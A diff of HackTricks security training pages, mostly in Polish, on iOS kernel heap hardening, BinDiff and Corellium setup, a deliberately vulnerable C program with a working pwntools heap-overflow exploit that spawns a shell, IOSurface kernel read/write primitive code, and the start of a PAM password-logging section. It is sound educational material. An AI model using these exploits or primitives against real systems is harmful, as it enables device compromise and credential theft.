- **PPL (Page Protection Layer)** enforces that certain regions (e.g., code signing data, entitlements) are **read-only** even to the kernel itself.
|
||||
- On **A15/M2+ devices**, this role is replaced/enhanced by **SPTM (Secure Page Table Monitor)** + **TXM (Trusted Execution Monitor)**.
|
||||
- These hardware-enforced layers mean attackers can’t escalate from a single heap corruption to arbitrary patching of critical security structures.
|
||||
|
||||
### 6. Large Allocations
|
||||
- Not all allocations go through `kalloc_type`.
|
||||
- Very large requests (above ~16KB) bypass typed zones and are served directly from **kernel VM (kmem)** via page allocations.
|
||||
- These are less predictable, but also less exploitable, since they don’t share slabs with other objects.
|
||||
|
||||
### 7. Allocation Patterns Attackers Target
|
||||
Even with these protections, attackers still look for:
|
||||
- **Reference count objects**: if you can tamper with retain/release counters, you may cause use-after-free.
|
||||
- **Objects with function pointers (vtables)**: corrupting one still yields control flow.
|
||||
- **Shared memory objects (IOSurface, Mach ports)**: these are still attack targets because they bridge user ↔ kernel.
|
||||
|
||||
But — unlike before — you can’t just spray `OSData` and expect it to neighbor a `task_t`. You need **type-specific bugs** or **info leaks** to succeed.
|
||||
|
||||
### Example: Allocation Flow in Modern Heap
|
||||
|
||||
Suppose userspace calls into IOKit to allocate an `OSData` object:
|
||||
|
||||
1. **Type lookup** → `OSData` maps to `kalloc_type_osdata` zone (size 64 bytes).
|
||||
2. Check per-CPU cache for free elements.
|
||||
- If found → return one.
|
||||
- If empty → go to global freelist.
|
||||
- If freelist empty → allocate a new slab (page of 4KB → 64 chunks of 64 bytes).
|
||||
3. Return chunk to caller.
|
||||
|
||||
**Freelist pointer protection**:
|
||||
- Each freed chunk stores the address of the next free chunk, but encoded with a secret key.
|
||||
- Overwriting that field with attacker data won’t work unless you know the key.
|
||||
|
||||
|
||||
## Comparison Table
|
||||
|
||||
| Feature | **Old Heap (Pre-iOS 15)** | **Modern Heap (iOS 15+ / A12+)** |
|
||||
|---------------------------------|------------------------------------------------------------|--------------------------------------------------|
|
||||
| Allocation granularity | Fixed size buckets (`kalloc.16`, `kalloc.32`, etc.) | Size + **type-based buckets** (`kalloc_type`) |
|
||||
| Placement predictability | High (same-size objects side by side) | Low (same-type grouping + randomness) |
|
||||
| Freelist management | Raw pointers in freed chunks (easy to corrupt) | **Encoded pointers** (safe-linking style) |
|
||||
| Adjacent object control | Easy via sprays/frees (feng shui predictable) | Hard — typed zones separate attacker objects |
|
||||
| Kernel data/code protections | Few hardware protections | **PPL / SPTM** protect page tables & code pages |
|
||||
| Exploit reliability | High with heap sprays | Much lower, requires logic bugs or info leaks |
|
||||
|
||||
## (Old) Physical Use-After-Free via IOSurface
|
||||
|
||||
{{#ref}}
|
||||
ios-physical-uaf-iosurface.md
|
||||
{{#endref}}
|
||||
|
||||
---
|
||||
|
||||
## Ghidra Install BinDiff
|
||||
|
||||
Download BinDiff DMG from [https://www.zynamics.com/bindiff/manual](https://www.zynamics.com/bindiff/manual) and install it.
|
||||
|
||||
Open Ghidra with `ghidraRun` and go to `File` --> `Install Extensions`, press the add button and select the path `/Applications/BinDiff/Extra/Ghidra/BinExport` and click OK and isntall it even if there is a version mismatch.
|
||||
|
||||
### Using BinDiff with Kernel versions
|
||||
|
||||
1. Go to the page [https://ipsw.me/](https://ipsw.me/) and download the iOS versions you want to diff. These will be `.ipsw` files.
|
||||
2. Decompress until you get the bin format of the kernelcache of both `.ipsw` files. You have information on how to do this on:
|
||||
|
||||
{{#ref}}
|
||||
../../macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md
|
||||
{{#endref}}
|
||||
|
||||
3. Open Ghidra with `ghidraRun`, create a new project and load the kernelcaches.
|
||||
4. Open each kernelcache so they are automatically analyzed by Ghidra.
|
||||
5. Then, on the project Window of Ghidra, right click each kernelcache, select `Export`, select format `Binary BinExport (v2) for BinDiff` and export them.
|
||||
6. Open BinDiff, create a new workspace and add a new diff indicating as primary file the kernelcache that contains the vulnerability and as secondary file the patched kernelcache.
|
||||
|
||||
---
|
||||
|
||||
## Finding the right XNU version
|
||||
|
||||
If you want to check for vulnerabilities in a specific version of iOS, you can check which XNU release version the iOS version uses at [https://www.theiphonewiki.com/wiki/kernel]https://www.theiphonewiki.com/wiki/kernel).
|
||||
|
||||
For example, the versions `15.1 RC`, `15.1` and `15.1.1` use the version `Darwin Kernel Version 21.1.0: Wed Oct 13 19:14:48 PDT 2021; root:xnu-8019.43.1~1/RELEASE_ARM64_T8006`.
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
79
src/binary-exploitation/ios-exploiting/ios-corellium.md
Normal file
79
src/binary-exploitation/ios-exploiting/ios-corellium.md
Normal file
@ -0,0 +1,79 @@
|
||||
# iOS Jak połączyć się z Corellium
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## **Wymagania wstępne**
|
||||
- VM iOS na Corellium (jailbroken lub nie). W tym przewodniku zakładamy, że masz dostęp do Corellium.
|
||||
- Narzędzia lokalne: **ssh/scp**.
|
||||
- (Opcjonalnie) **SSH keys** dodane do projektu Corellium, aby umożliwić logowanie bez hasła.
|
||||
|
||||
|
||||
## **Połączenie z iPhone VM z localhost**
|
||||
|
||||
### A) **Quick Connect (no VPN)**
|
||||
0) Dodaj swój SSH key w **`/admin/projects`** (zalecane).
|
||||
1) Otwórz stronę urządzenia → **Connect**
|
||||
2) **Skopiuj Quick Connect SSH command** wyświetlany przez Corellium i wklej go w terminalu.
|
||||
3) Wprowadź hasło lub użyj swojego klucza (zalecane).
|
||||
|
||||
### B) **VPN → direct SSH**
|
||||
0) Dodaj swój SSH key w **`/admin/projects`** (zalecane).
|
||||
1) Strona urządzenia → **CONNECT** → **VPN** → pobierz `.ovpn` i połącz się za pomocą dowolnego klienta VPN obsługującego tryb TAP. (Sprawdź [https://support.corellium.com/features/connect/vpn](https://support.corellium.com/features/connect/vpn) jeśli masz problemy.)
|
||||
2) Zaloguj się przez SSH na adres VM **10.11.x.x**:
|
||||
```bash
|
||||
ssh root@10.11.1.1
|
||||
```
|
||||
## **Prześlij native binary & uruchom go**
|
||||
|
||||
### 2.1 **Przesyłanie**
|
||||
- Jeśli Quick Connect podał ci host/port:
|
||||
```bash
|
||||
scp -J <domain> ./mytool root@10.11.1.1:/var/root/mytool
|
||||
```
|
||||
- Jeśli używasz VPN (10.11.x.x):
|
||||
```bash
|
||||
scp ./mytool -J <domain> root@10.11.1.1:/var/root/mytool
|
||||
```
|
||||
## **Prześlij i zainstaluj aplikację iOS (.ipa)**
|
||||
|
||||
### Ścieżka A — **Web UI (najszybsza)**
|
||||
1) Strona urządzenia → zakładka **Apps** → **Install App** → wybierz plik `.ipa`.
|
||||
2) Z tej samej zakładki możesz **launch/kill/uninstall**.
|
||||
|
||||
### Ścieżka B — **Skryptowo przez Corellium Agent**
|
||||
1) Użyj API Agent, aby **upload** a następnie **install**:
|
||||
```js
|
||||
// Node.js (pseudo) using Corellium Agent
|
||||
await agent.upload("./app.ipa", "/var/tmp/app.ipa");
|
||||
await agent.install("/var/tmp/app.ipa", (progress, status) => {
|
||||
console.log(progress, status);
|
||||
});
|
||||
```
|
||||
### Ścieżka C — **Non-jailbroken (proper signing / Sideloadly)**
|
||||
- Jeśli nie masz provisioning profile, użyj **Sideloadly** do ponownego podpisania przy użyciu Apple ID, lub zaloguj się w Xcode.
|
||||
- Możesz również udostępnić VM Xcode używając **USBFlux** (zob. §5).
|
||||
|
||||
|
||||
- Dla szybkiego podglądu logów/wykonywania komend bez SSH, użyj urządzenia **Console** w UI.
|
||||
|
||||
## **Dodatki**
|
||||
|
||||
- **Port-forwarding** (spraw, aby VM wyglądała jak lokalna dla innych narzędzi):
|
||||
```bash
|
||||
# Forward local 2222 -> device 22
|
||||
ssh -N -L 2222:127.0.0.1:22 root@10.11.1.1
|
||||
# Now you can: scp -P 2222 file root@10.11.1.1:/var/root/
|
||||
```
|
||||
- **LLDB remote debugging**: użyj adresu **LLDB/GDB stub** wyświetlanego na dole strony urządzenia (CONNECT → LLDB).
|
||||
|
||||
- **USBFlux (macOS/Linux)**: udostępnij VM dla **Xcode/Sideloadly** jako urządzenie podłączone kablem.
|
||||
|
||||
|
||||
## **Common pitfalls**
|
||||
- **Proper signing** jest wymagane na **non-jailbroken** urządzeniach; unsigned IPAs nie uruchomią się.
|
||||
- **Quick Connect vs VPN**: Quick Connect jest najprostszy; użyj **VPN**, gdy potrzebujesz, aby urządzenie znajdowało się w Twojej lokalnej sieci (np. lokalne proxy/narzędzia).
|
||||
- **No App Store** na urządzeniach Corellium; dostarcz własne (re)signed IPAs.
|
||||
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -0,0 +1,205 @@
|
||||
# iOS Jak połączyć się z Corellium
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Vuln Code
|
||||
```c
|
||||
#define _GNU_SOURCE
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
__attribute__((noinline))
|
||||
static void safe_cb(void) {
|
||||
puts("[*] safe_cb() called — nothing interesting here.");
|
||||
}
|
||||
|
||||
__attribute__((noinline))
|
||||
static void win(void) {
|
||||
puts("[+] win() reached — spawning shell...");
|
||||
fflush(stdout);
|
||||
system("/bin/sh");
|
||||
exit(0);
|
||||
}
|
||||
|
||||
typedef void (*cb_t)(void);
|
||||
|
||||
typedef struct {
|
||||
cb_t cb; // <--- Your target: overwrite this with win()
|
||||
char tag[16]; // Cosmetic (helps make the chunk non-tiny)
|
||||
} hook_t;
|
||||
|
||||
static void fatal(const char *msg) {
|
||||
perror(msg);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
int main(void) {
|
||||
// Make I/O deterministic
|
||||
setvbuf(stdout, NULL, _IONBF, 0);
|
||||
|
||||
// Print address leak so exploit doesn't guess ASLR
|
||||
printf("[*] LEAK win() @ %p\n", (void*)&win);
|
||||
|
||||
// 1) Allocate the overflow buffer
|
||||
size_t buf_sz = 128;
|
||||
char *buf = (char*)malloc(buf_sz);
|
||||
if (!buf) fatal("malloc buf");
|
||||
memset(buf, 'A', buf_sz);
|
||||
|
||||
// 2) Allocate the hook object (likely adjacent in same magazine/size class)
|
||||
hook_t *h = (hook_t*)malloc(sizeof(hook_t));
|
||||
if (!h) fatal("malloc hook");
|
||||
h->cb = safe_cb;
|
||||
memcpy(h->tag, "HOOK-OBJ", 8);
|
||||
|
||||
// A tiny bit of noise to look realistic (and to consume small leftover holes)
|
||||
void *spacers[16];
|
||||
for (int i = 0; i < 16; i++) {
|
||||
spacers[i] = malloc(64);
|
||||
if (spacers[i]) memset(spacers[i], 0xCC, 64);
|
||||
}
|
||||
|
||||
puts("[*] You control a write into the 128B buffer (no bounds check).");
|
||||
puts("[*] Enter payload length (decimal), then the raw payload bytes.");
|
||||
|
||||
// 3) Read attacker-chosen length and then read that many bytes → overflow
|
||||
char line[64];
|
||||
if (!fgets(line, sizeof(line), stdin)) fatal("fgets");
|
||||
unsigned long n = strtoul(line, NULL, 10);
|
||||
|
||||
// BUG: no clamp to 128
|
||||
ssize_t got = read(STDIN_FILENO, buf, n);
|
||||
if (got < 0) fatal("read");
|
||||
printf("[*] Wrote %zd bytes into 128B buffer.\n", got);
|
||||
|
||||
// 4) Trigger: call the hook's callback
|
||||
puts("[*] Calling h->cb() ...");
|
||||
h->cb();
|
||||
|
||||
puts("[*] Done.");
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Skompiluj to za pomocą:
|
||||
```bash
|
||||
clang -O0 -Wall -Wextra -std=c11 -o heap_groom vuln.c
|
||||
```
|
||||
## Exploit
|
||||
|
||||
> [!WARNING]
|
||||
> Ten exploit ustawia zmienną środowiskową `MallocNanoZone=0`, aby wyłączyć NanoZone. Jest to potrzebne, aby uzyskać sąsiadujące alokacje podczas wywołań `malloc` z małymi rozmiarami. Bez tego różne mallocs zostaną przydzielone w różnych strefach i nie będą sąsiadować, w związku z czym overflow nie zadziała zgodnie z oczekiwaniami.
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
# Heap overflow exploit for macOS ARM64 CTF challenge
|
||||
#
|
||||
# Vulnerability: Buffer overflow in heap-allocated buffer allows overwriting
|
||||
# a function pointer in an adjacent heap chunk.
|
||||
#
|
||||
# Key insights:
|
||||
# 1. macOS uses different heap zones for different allocation sizes
|
||||
# 2. The NanoZone must be disabled (MallocNanoZone=0) to get predictable layout
|
||||
# 3. With spacers allocated after main chunks, the distance is 560 bytes (432 padding needed)
|
||||
#
|
||||
from pwn import *
|
||||
import re
|
||||
import sys
|
||||
import struct
|
||||
import platform
|
||||
|
||||
# Detect architecture and set context accordingly
|
||||
if platform.machine() == 'arm64' or platform.machine() == 'aarch64':
|
||||
context.clear(arch='aarch64')
|
||||
else:
|
||||
context.clear(arch='amd64')
|
||||
|
||||
BIN = './heap_groom'
|
||||
|
||||
def parse_leak(line):
|
||||
m = re.search(rb'win\(\) @ (0x[0-9a-fA-F]+)', line)
|
||||
if not m:
|
||||
log.failure("Couldn't parse leak")
|
||||
sys.exit(1)
|
||||
return int(m.group(1), 16)
|
||||
|
||||
def build_payload(win_addr, extra_pad=0):
|
||||
# We want: [128 bytes padding] + [optional padding for heap metadata] + [overwrite cb pointer]
|
||||
padding = b'A' * 128
|
||||
if extra_pad:
|
||||
padding += b'B' * extra_pad
|
||||
# Add the win address to overwrite the function pointer
|
||||
payload = padding + p64(win_addr)
|
||||
return payload
|
||||
|
||||
def main():
|
||||
# On macOS, we need to disable the Nano zone for adjacent allocations
|
||||
import os
|
||||
env = os.environ.copy()
|
||||
env['MallocNanoZone'] = '0'
|
||||
|
||||
# The correct padding with MallocNanoZone=0 is 432 bytes
|
||||
# This makes the total distance 560 bytes (128 buffer + 432 padding)
|
||||
# Try the known working value first, then alternatives in case of heap variation
|
||||
candidates = [
|
||||
432, # 560 - 128 = 432 (correct padding with spacers and NanoZone=0)
|
||||
424, # Try slightly less in case of alignment differences
|
||||
440, # Try slightly more
|
||||
416, # 16 bytes less
|
||||
448, # 16 bytes more
|
||||
0, # Direct adjacency (unlikely but worth trying)
|
||||
]
|
||||
|
||||
log.info("Starting heap overflow exploit for macOS...")
|
||||
|
||||
for extra in candidates:
|
||||
log.info(f"Trying extra_pad={extra} with MallocNanoZone=0")
|
||||
p = process(BIN, env=env)
|
||||
|
||||
# Read leak line
|
||||
leak_line = p.recvline()
|
||||
win_addr = parse_leak(leak_line)
|
||||
log.success(f"win() @ {hex(win_addr)}")
|
||||
|
||||
# Skip prompt lines
|
||||
p.recvuntil(b"Enter payload length")
|
||||
p.recvline()
|
||||
|
||||
# Build and send payload
|
||||
payload = build_payload(win_addr, extra_pad=extra)
|
||||
total_len = len(payload)
|
||||
|
||||
log.info(f"Sending {total_len} bytes (128 base + {extra} padding + 8 pointer)")
|
||||
|
||||
# Send length and payload
|
||||
p.sendline(str(total_len).encode())
|
||||
p.send(payload)
|
||||
|
||||
# Check if we overwrote the function pointer successfully
|
||||
try:
|
||||
output = p.recvuntil(b"Calling h->cb()", timeout=0.5)
|
||||
p.recvline(timeout=0.5) # Skip the "..." part
|
||||
|
||||
# Check if we hit win()
|
||||
response = p.recvline(timeout=0.5)
|
||||
if b"win() reached" in response:
|
||||
log.success(f"SUCCESS! Overwrote function pointer with extra_pad={extra}")
|
||||
log.success("Shell spawned, entering interactive mode...")
|
||||
p.interactive()
|
||||
return
|
||||
elif b"safe_cb() called" in response:
|
||||
log.info(f"Failed with extra_pad={extra}, safe_cb was called")
|
||||
else:
|
||||
log.info(f"Failed with extra_pad={extra}, unexpected response")
|
||||
except:
|
||||
log.info(f"Failed with extra_pad={extra}, likely crashed")
|
||||
|
||||
p.close()
|
||||
|
||||
log.failure("All padding attempts failed. The heap layout might be different.")
|
||||
log.info("Try running the exploit multiple times as heap layout can be probabilistic.")
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
```
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -0,0 +1,215 @@
|
||||
# iOS Physical Use-After-Free via IOSurface
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Physical use-after-free
|
||||
|
||||
To jest podsumowanie wpisu z [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html); dodatkowe informacje o exploitach wykorzystujących tę technikę można znaleźć w [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
|
||||
|
||||
### Memory management in XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
|
||||
|
||||
Przestrzeń adresowa pamięci wirtualnej dla procesów użytkownika na iOS obejmuje zakres od **0x0 do 0x8000000000**. Te adresy nie odpowiadają bezpośrednio pamięci fizycznej. Zamiast tego **kernel** używa **page tables** do tłumaczenia adresów wirtualnych na rzeczywiste **adresy fizyczne**.
|
||||
|
||||
#### Levels of Page Tables in iOS
|
||||
|
||||
Page tables są zorganizowane hierarchicznie w trzech poziomach:
|
||||
|
||||
1. **L1 Page Table (Level 1)**:
|
||||
* Każdy wpis reprezentuje duży zakres pamięci wirtualnej.
|
||||
* Pokrywa **0x1000000000 bytes** (czyli **256 GB**) pamięci wirtualnej.
|
||||
2. **L2 Page Table (Level 2)**:
|
||||
* Wpis tutaj reprezentuje mniejszy region pamięci wirtualnej, konkretnie **0x2000000 bytes** (32 MB).
|
||||
* Wpis w L1 może wskazywać na tabelę L2, jeśli nie może samodzielnie zmapować całego regionu.
|
||||
3. **L3 Page Table (Level 3)**:
|
||||
* To najdokładniejszy poziom, gdzie każdy wpis mapuje pojedynczą stronę pamięci o rozmiarze **4 KB**.
|
||||
* Wpis w L2 może wskazywać na tabelę L3, jeśli wymagana jest większa granularność.
|
||||
|
||||
#### Mapping Virtual to Physical Memory
|
||||
|
||||
* **Direct Mapping (Block Mapping)**:
|
||||
* Niektóre wpisy w page table bezpośrednio **mapują zakres adresów wirtualnych** na ciągły zakres adresów fizycznych (jak skrót).
|
||||
* **Pointer to Child Page Table**:
|
||||
* Jeśli potrzebna jest większa kontrola, wpis na jednym poziomie (np. L1) może wskazywać na **child page table** na następnym poziomie (np. L2).
|
||||
|
||||
#### Example: Mapping a Virtual Address
|
||||
|
||||
Załóżmy, że próbuje się uzyskać dostęp do adresu wirtualnego **0x1000000000**:
|
||||
|
||||
1. **L1 Table**:
|
||||
* Kernel sprawdza wpis w tabeli L1 odpowiadający temu adresowi wirtualnemu. Jeśli ma **pointer to an L2 page table**, przechodzi do tej L2.
|
||||
2. **L2 Table**:
|
||||
* Kernel sprawdza tabelę L2 w poszukiwaniu bardziej szczegółowego mapowania. Jeśli wpis wskazuje na **L3 page table**, idzie dalej.
|
||||
3. **L3 Table**:
|
||||
* Kernel odczytuje końcowy wpis L3, który wskazuje na **adres fizyczny** właściwej strony pamięci.
|
||||
|
||||
#### Example of Address Mapping
|
||||
|
||||
Jeśli zapiszesz adres fizyczny **0x800004000** w pierwszym indeksie tabeli L2, to:
|
||||
|
||||
* Adresy wirtualne od **0x1000000000** do **0x1002000000** będą mapowane na adresy fizyczne od **0x800004000** do **0x802004000**.
|
||||
* To jest **block mapping** na poziomie L2.
|
||||
|
||||
Alternatywnie, jeśli wpis L2 wskazuje na tabelę L3:
|
||||
|
||||
* Każda strona 4 KB w zakresie wirtualnym **0x1000000000 -> 0x1002000000** byłaby mapowana przez indywidualne wpisy w tabeli L3.
|
||||
|
||||
### Physical use-after-free
|
||||
|
||||
Physical use-after-free (UAF) występuje, gdy:
|
||||
|
||||
1. Proces **alokuje** pamięć jako **readable and writable**.
|
||||
2. **page tables** są zaktualizowane, aby zmapować tę pamięć na określony adres fizyczny dostępny dla procesu.
|
||||
3. Proces **dealokuje** (zwalnia) tę pamięć.
|
||||
4. Jednak z powodu **buga** kernel **zapomina usunąć mapowanie** z page tables, mimo że odpowiednia pamięć fizyczna została oznaczona jako wolna.
|
||||
5. Kernel może potem **realokować tę „zwolnioną” pamięć fizyczną** do innych celów, np. danych jądra.
|
||||
6. Ponieważ mapowanie nie zostało usunięte, proces dalej może **czytać i zapisywać** tę pamięć fizyczną.
|
||||
|
||||
To oznacza, że proces może uzyskać dostęp do **stron pamięci jądra**, które mogą zawierać wrażliwe dane lub struktury, co potencjalnie pozwala atakującemu **manipulować pamięcią kernela**.
|
||||
|
||||
### IOSurface Heap Spray
|
||||
|
||||
Skoro atakujący nie może kontrolować, które konkretne strony kernela zostaną przydzielone do zwolnionej pamięci, używa techniki zwanej **heap spray**:
|
||||
|
||||
1. Atakujący **tworzy dużą liczbę obiektów IOSurface** w pamięci kernela.
|
||||
2. Każdy obiekt IOSurface zawiera **magic value** w jednym ze swoich pól, co ułatwia jego identyfikację.
|
||||
3. Skanują zwolnione strony, aby sprawdzić, czy któryś z tych obiektów IOSurface trafił na zwolnioną stronę.
|
||||
4. Gdy znajdą obiekt IOSurface na zwolnionej stronie, mogą go użyć do **odczytu i zapisu pamięci kernela**.
|
||||
|
||||
Więcej informacji: [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
|
||||
|
||||
> [!TIP]
|
||||
> Pamiętaj, że urządzenia iOS 16+ (A12+) wprowadzają hardware mitigations (jak PPL lub SPTM), które znacznie utrudniają techniki physical UAF.
|
||||
> PPL wymusza ścisłe zabezpieczenia MMU na stronach związanych z code signing, entitlements i wrażliwymi danymi kernela, więc nawet jeśli strona zostanie ponownie użyta, zapisy z userland lub skompromitowanego kodu kernela do stron chronionych przez PPL są blokowane.
|
||||
> Secure Page Table Monitor (SPTM) rozszerza PPL, umacniając sam proces aktualizacji page tables. Zapewnia, że nawet uprzywilejowany kod kernela nie może cicho przemapować zwolnionych stron ani manipulować mapowaniami bez przejścia przez bezpieczne kontrole.
|
||||
> KTRR (Kernel Text Read-Only Region) blokuje sekcję kodu kernela jako read-only po uruchomieniu systemu. To zapobiega wszelkim modyfikacjom kodu kernela w czasie działania, zamykając istotny wektor ataku, na którym często opierają się exploity physical UAF.
|
||||
> Ponadto alokacje `IOSurface` są mniej przewidywalne i trudniej je zamapować do regionów dostępnych dla użytkownika, co sprawia, że trik z „skanowaniem magic value” jest znacznie mniej niezawodny. `IOSurface` jest teraz również chroniony przez entitlements i ograniczenia sandboxu.
|
||||
|
||||
### Step-by-Step Heap Spray Process
|
||||
|
||||
1. **Spray IOSurface Objects**: Atakujący tworzy wiele obiektów IOSurface z specjalnym identyfikatorem ("magic value").
|
||||
2. **Scan Freed Pages**: Sprawdzają, czy któryś z obiektów został przydzielony na zwolnionej stronie.
|
||||
3. **Read/Write Kernel Memory**: Manipulując polami obiektu IOSurface, uzyskują możliwość wykonywania **arbitrary reads and writes** w pamięci kernela. To pozwala im:
|
||||
* Użyć jednego pola do **odczytu dowolnej 32-bit wartości** w pamięci kernela.
|
||||
* Użyć innego pola do **zapisu 64-bit wartości**, uzyskując stabilny **kernel read/write primitive**.
|
||||
|
||||
Generate IOSurface objects with the magic value IOSURFACE\_MAGIC to later search for:
|
||||
```c
|
||||
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
|
||||
if (*nClients >= 0x4000) return;
|
||||
for (int i = 0; i < nSurfaces; i++) {
|
||||
fast_create_args_t args;
|
||||
lock_result_t result;
|
||||
|
||||
size_t size = IOSurfaceLockResultSize;
|
||||
args.address = 0;
|
||||
args.alloc_size = *nClients + 1;
|
||||
args.pixel_format = IOSURFACE_MAGIC;
|
||||
|
||||
IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
|
||||
io_connect_t id = result.surface_id;
|
||||
|
||||
(*clients)[*nClients] = id;
|
||||
*nClients = (*nClients) += 1;
|
||||
}
|
||||
}
|
||||
```
|
||||
Wyszukaj obiekty **`IOSurface`** w jednej zwolnionej stronie fizycznej:
|
||||
```c
|
||||
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
|
||||
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
|
||||
int nSurfaceIDs = 0;
|
||||
|
||||
for (int i = 0; i < 0x400; i++) {
|
||||
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
|
||||
|
||||
for (int j = 0; j < nPages; j++) {
|
||||
uint64_t start = puafPages[j];
|
||||
uint64_t stop = start + (pages(1) / 16);
|
||||
|
||||
for (uint64_t k = start; k < stop; k += 8) {
|
||||
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
|
||||
info.object = k;
|
||||
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
|
||||
if (self_task) *self_task = iosurface_get_receiver(k);
|
||||
goto sprayDone;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
sprayDone:
|
||||
for (int i = 0; i < nSurfaceIDs; i++) {
|
||||
if (surfaceIDs[i] == info.surface) continue;
|
||||
iosurface_release(client, surfaceIDs[i]);
|
||||
}
|
||||
free(surfaceIDs);
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
### Uzyskiwanie odczytu/zapisu jądra za pomocą IOSurface
|
||||
|
||||
Po przejęciu kontroli nad obiektem IOSurface w pamięci jądra (zmapowanym do zwolnionej strony fizycznej dostępnej z userspace), możemy go użyć do **dowolnych operacji odczytu i zapisu w jądrze**.
|
||||
|
||||
**Kluczowe pola w IOSurface**
|
||||
|
||||
Obiekt IOSurface ma dwa kluczowe pola:
|
||||
|
||||
1. **Use Count Pointer**: Umożliwia **32-bitowy odczyt**.
|
||||
2. **Indexed Timestamp Pointer**: Umożliwia **64-bitowy zapis**.
|
||||
|
||||
Przez nadpisanie tych wskaźników przekierowujemy je na dowolne adresy w pamięci jądra, co udostępnia możliwości odczytu/zapisu.
|
||||
|
||||
#### 32-bitowy odczyt jądra
|
||||
|
||||
Aby wykonać odczyt:
|
||||
|
||||
1. Nadpisz **use count pointer**, aby wskazywał na docelowy adres pomniejszony o offset 0x14 bajtów.
|
||||
2. Użyj metody `get_use_count`, aby odczytać wartość spod tego adresu.
|
||||
```c
|
||||
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
|
||||
uint64_t args[1] = {surfaceID};
|
||||
uint32_t size = 1;
|
||||
uint64_t out = 0;
|
||||
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
|
||||
return (uint32_t)out;
|
||||
}
|
||||
|
||||
uint32_t iosurface_kread32(uint64_t addr) {
|
||||
uint64_t orig = iosurface_get_use_count_pointer(info.object);
|
||||
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
|
||||
uint32_t value = get_use_count(info.client, info.surface);
|
||||
iosurface_set_use_count_pointer(info.object, orig);
|
||||
return value;
|
||||
}
|
||||
```
|
||||
#### 64-Bit Kernel Write
|
||||
|
||||
Aby wykonać zapis:
|
||||
|
||||
1. Nadpisz **indexed timestamp pointer** adresem docelowym.
|
||||
2. Użyj metody `set_indexed_timestamp`, aby zapisać 64-bitową wartość.
|
||||
```c
|
||||
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
|
||||
uint64_t args[3] = {surfaceID, 0, value};
|
||||
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
|
||||
}
|
||||
|
||||
void iosurface_kwrite64(uint64_t addr, uint64_t value) {
|
||||
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
|
||||
iosurface_set_indexed_timestamp_pointer(info.object, addr);
|
||||
set_indexed_timestamp(info.client, info.surface, value);
|
||||
iosurface_set_indexed_timestamp_pointer(info.object, orig);
|
||||
}
|
||||
```
|
||||
#### Podsumowanie przebiegu exploita
|
||||
|
||||
1. **Trigger Physical Use-After-Free**: Strony zwolnione są dostępne do ponownego użycia.
|
||||
2. **Spray IOSurface Objects**: Przydziel wiele obiektów IOSurface z unikalną "magic value" w pamięci jądra.
|
||||
3. **Identify Accessible IOSurface**: Zlokalizuj IOSurface na zwolnionej stronie, którą kontrolujesz.
|
||||
4. **Abuse Use-After-Free**: Zmodyfikuj wskaźniki w obiekcie IOSurface, aby umożliwić dowolne **kernel read/write** poprzez metody IOSurface.
|
||||
|
||||
Dzięki tym prymitywom exploit zapewnia kontrolowane **32-bit reads** i **64-bit writes** do pamięci jądra. Kolejne kroki jailbreak mogą wymagać bardziej stabilnych prymitywów odczytu/zapisu, które mogą wymagać obejścia dodatkowych zabezpieczeń (np. PPL na nowszych urządzeniach arm64e).
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -6,20 +6,21 @@
|
||||
|
||||
Skonfigurujmy moduł PAM, aby logował każde hasło używane przez użytkowników podczas logowania. Jeśli nie wiesz, czym jest PAM, sprawdź:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
pam-pluggable-authentication-modules.md
|
||||
{{#endref}}
|
||||
|
||||
**For further details check the [original post](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)**. To tylko podsumowanie:
|
||||
|
||||
**Przegląd techniki:**
|
||||
Pluggable Authentication Modules (PAM) oferują elastyczność w zarządzaniu uwierzytelnianiem w systemach opartych na Unix. Mogą zwiększyć bezpieczeństwo przez dostosowanie procesów logowania, ale w przypadku niewłaściwego użycia stanowią też zagrożenie. To podsumowanie opisuje technikę przechwytywania danych logowania za pomocą PAM oraz strategie łagodzenia skutków.
|
||||
**Technique Overview:**
|
||||
